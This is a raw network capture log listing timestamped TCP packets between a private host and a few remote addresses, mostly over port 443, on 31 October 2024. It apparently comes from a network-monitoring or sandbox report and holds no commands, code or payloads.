Oct 31, 2024 17:27:07.099797964 CET	443	62883	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.099808931 CET	62883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.099813938 CET	443	62883	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.101686001 CET	62888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.101727962 CET	443	62888	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.101790905 CET	62888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.101912022 CET	62888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.101927996 CET	443	62888	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.602613926 CET	443	62884	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.603149891 CET	62884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.603168964 CET	443	62884	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.603669882 CET	62884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.603673935 CET	443	62884	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.734647036 CET	443	62884	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.734858990 CET	443	62884	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.734921932 CET	62884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.735011101 CET	62884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.735023975 CET	443	62884	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.735033035 CET	62884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.735038996 CET	443	62884	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.737971067 CET	62889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.737998009 CET	443	62889	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.738074064 CET	62889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.738370895 CET	62889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.738385916 CET	443	62889	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.815134048 CET	443	62885	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.815684080 CET	62885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.815727949 CET	443	62885	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.816209078 CET	62885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.816220045 CET	443	62885	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.821054935 CET	443	62886	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.821487904 CET	62886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.821499109 CET	443	62886	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.821594000 CET	443	62887	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.821933985 CET	62886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.821938992 CET	443	62886	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.822329998 CET	62887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.822345018 CET	443	62887	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.822709084 CET	62887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.822717905 CET	443	62887	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.844357967 CET	443	62888	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.844835043 CET	62888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.844871998 CET	443	62888	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.845309973 CET	62888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.845316887 CET	443	62888	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.949371099 CET	443	62885	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.949434996 CET	443	62885	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.949641943 CET	62885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.949815035 CET	62885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.949862003 CET	443	62885	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.949913025 CET	62885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.949929953 CET	443	62885	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.950640917 CET	443	62887	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.950706005 CET	443	62887	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.950762987 CET	62887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.950934887 CET	62887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.950934887 CET	62887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.950952053 CET	443	62887	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.950972080 CET	443	62887	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.953196049 CET	62890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.953237057 CET	443	62890	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.953318119 CET	62890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.953339100 CET	62891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.953366041 CET	443	62891	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.953424931 CET	62891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.953478098 CET	62890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.953493118 CET	443	62890	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.953654051 CET	62891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.953672886 CET	443	62891	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.985008001 CET	443	62888	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.985202074 CET	443	62888	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.985258102 CET	62888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.985413074 CET	62888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.985413074 CET	62888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.985424042 CET	443	62888	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.985431910 CET	443	62888	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.987353086 CET	62892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.987433910 CET	443	62892	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.987517118 CET	62892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.987656116 CET	62892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.987693071 CET	443	62892	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.995982885 CET	443	62886	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.996041059 CET	443	62886	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.996087074 CET	62886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.996190071 CET	62886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.996206999 CET	443	62886	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.996217012 CET	62886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.996222019 CET	443	62886	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.998222113 CET	62893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.998249054 CET	443	62893	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:07.998321056 CET	62893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.998454094 CET	62893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:07.998466969 CET	443	62893	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.480458021 CET	443	62889	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.481221914 CET	62889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.481246948 CET	443	62889	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.481642962 CET	62889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.481648922 CET	443	62889	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.609778881 CET	443	62889	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.610008001 CET	443	62889	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.610182047 CET	62889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.610182047 CET	62889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.610183001 CET	62889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.613064051 CET	62894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.613097906 CET	443	62894	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.613187075 CET	62894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.613348007 CET	62894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.613384962 CET	443	62894	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.700440884 CET	443	62891	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.700975895 CET	62891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.701025963 CET	443	62891	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.701520920 CET	62891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.701531887 CET	443	62891	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.702833891 CET	443	62890	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.703145981 CET	62890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.703177929 CET	443	62890	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.703639030 CET	62890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.703644991 CET	443	62890	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.719240904 CET	443	62892	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.719568014 CET	62892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.719595909 CET	443	62892	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.719969988 CET	62892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.719983101 CET	443	62892	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.725487947 CET	443	62893	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.725809097 CET	62893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.725832939 CET	443	62893	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.726537943 CET	62893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.726542950 CET	443	62893	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.832969904 CET	443	62891	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.833049059 CET	443	62891	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.833111048 CET	62891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.833313942 CET	62891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.833331108 CET	443	62891	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.833340883 CET	62891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.833345890 CET	443	62891	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.836251020 CET	62895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.836301088 CET	443	62895	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.836375952 CET	62895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.836508036 CET	62895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.836523056 CET	443	62895	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.837707043 CET	443	62890	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.837924004 CET	443	62890	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.837976933 CET	62890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.838007927 CET	62890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.838007927 CET	62890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.838028908 CET	443	62890	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.838037014 CET	443	62890	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.840253115 CET	62896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.840270042 CET	443	62896	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.840342045 CET	62896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.840446949 CET	62896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.840461016 CET	443	62896	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.853939056 CET	443	62893	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.854238033 CET	443	62893	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.854284048 CET	62893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.854317904 CET	62893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.854331017 CET	443	62893	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.854341984 CET	62893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.854346991 CET	443	62893	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.854578972 CET	443	62892	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.855747938 CET	443	62892	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.855817080 CET	62892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.863693953 CET	62892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.863739014 CET	443	62892	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.863768101 CET	62892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.863785028 CET	443	62892	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.866297960 CET	62897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.866333008 CET	443	62897	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.866386890 CET	62897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.866445065 CET	62898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.866460085 CET	443	62898	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.866502047 CET	62898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.866517067 CET	62897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.866527081 CET	443	62897	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.866756916 CET	62898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.866769075 CET	443	62898	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.913680077 CET	62889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:08.913696051 CET	443	62889	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:08.992068052 CET	49724	80	192.168.2.4	93.184.221.240
Oct 31, 2024 17:27:09.001754999 CET	80	49724	93.184.221.240	192.168.2.4
Oct 31, 2024 17:27:09.001867056 CET	49724	80	192.168.2.4	93.184.221.240
Oct 31, 2024 17:27:09.358994007 CET	443	62894	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.359689951 CET	62894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.359719992 CET	443	62894	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.360304117 CET	62894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.360316992 CET	443	62894	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.489319086 CET	443	62894	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.489639997 CET	443	62894	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.489850044 CET	62894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.489932060 CET	62894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.489953995 CET	443	62894	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.489979029 CET	62894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.489993095 CET	443	62894	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.492844105 CET	62899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.492861986 CET	443	62899	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.492935896 CET	62899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.493093967 CET	62899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.493100882 CET	443	62899	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.557576895 CET	443	62895	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.563246012 CET	443	62896	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.586141109 CET	62895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.586174965 CET	443	62895	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.586642981 CET	62895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.586648941 CET	443	62895	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.586949110 CET	62896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.586977005 CET	443	62896	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.587388039 CET	62896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.587393999 CET	443	62896	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.599061966 CET	443	62898	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.599564075 CET	62898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.599577904 CET	443	62898	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.600022078 CET	62898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.600025892 CET	443	62898	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.600804090 CET	443	62897	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.601279974 CET	62897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.601326942 CET	443	62897	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.601747036 CET	62897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.601753950 CET	443	62897	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.713861942 CET	443	62895	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.713947058 CET	443	62895	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.714065075 CET	62895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.714364052 CET	62895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.714385986 CET	443	62895	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.714396954 CET	62895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.714402914 CET	443	62895	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.717808008 CET	62900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.717833996 CET	443	62900	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.717924118 CET	62900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.718107939 CET	62900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.718120098 CET	443	62900	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.729327917 CET	443	62898	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.729489088 CET	443	62898	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.729538918 CET	62898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.729578972 CET	62898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.729592085 CET	443	62898	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.729604959 CET	62898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.729609966 CET	443	62898	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.731966019 CET	62901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.732008934 CET	443	62901	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.732076883 CET	62901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.732207060 CET	62901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.732222080 CET	443	62901	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.732786894 CET	443	62897	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.732969046 CET	443	62897	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.733022928 CET	62897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.733053923 CET	62897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.733069897 CET	443	62897	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.733079910 CET	62897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.733084917 CET	443	62897	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.734916925 CET	62902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.734925985 CET	443	62902	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.735011101 CET	62902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.735137939 CET	62902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.735146999 CET	443	62902	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.829951048 CET	443	62896	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.830049038 CET	443	62896	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.830221891 CET	62896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.830384016 CET	62896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.830403090 CET	443	62896	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.830413103 CET	62896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.830418110 CET	443	62896	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.833729029 CET	62903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.833786011 CET	443	62903	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:09.833872080 CET	62903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.834058046 CET	62903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:09.834073067 CET	443	62903	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.214319944 CET	443	62899	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.215010881 CET	62899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.215030909 CET	443	62899	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.215531111 CET	62899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.215533972 CET	443	62899	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.346530914 CET	443	62899	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.346605062 CET	443	62899	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.346754074 CET	62899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.346887112 CET	62899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.346904993 CET	443	62899	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.346915960 CET	62899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.346921921 CET	443	62899	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.350361109 CET	62904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.350399971 CET	443	62904	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.350488901 CET	62904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.350662947 CET	62904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.350678921 CET	443	62904	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.450649023 CET	443	62900	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.451260090 CET	62900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.451286077 CET	443	62900	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.451745987 CET	62900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.451750994 CET	443	62900	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.480799913 CET	443	62901	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.481319904 CET	62901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.481379032 CET	443	62901	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.481604099 CET	62901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.481617928 CET	443	62901	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.514044046 CET	443	62902	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.514445066 CET	62902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.514473915 CET	443	62902	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.514866114 CET	62902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.514873028 CET	443	62902	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.560050964 CET	443	62903	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.560518980 CET	62903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.560561895 CET	443	62903	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.561079025 CET	62903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.561090946 CET	443	62903	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.581130028 CET	443	62900	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.581357956 CET	443	62900	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.581425905 CET	62900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.581763983 CET	62900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.581787109 CET	443	62900	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.581804037 CET	62900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.581809044 CET	443	62900	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.585017920 CET	62905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.585058928 CET	443	62905	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.585136890 CET	62905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.585254908 CET	62905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.585267067 CET	443	62905	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.613548994 CET	443	62901	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.613626003 CET	443	62901	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.613683939 CET	62901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.613884926 CET	62901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.613909006 CET	443	62901	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.613923073 CET	62901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.613930941 CET	443	62901	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.617084980 CET	62906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.617134094 CET	443	62906	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.617224932 CET	62906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.617386103 CET	62906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.617402077 CET	443	62906	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.650599003 CET	443	62902	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.650657892 CET	443	62902	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.650743961 CET	62902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.650995970 CET	62902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.651017904 CET	443	62902	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.651031971 CET	62902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.651036978 CET	443	62902	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.654158115 CET	62907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.654191971 CET	443	62907	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.654280901 CET	62907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.654453039 CET	62907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.654463053 CET	443	62907	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.692342997 CET	443	62903	13.107.246.45	192.168.2.4
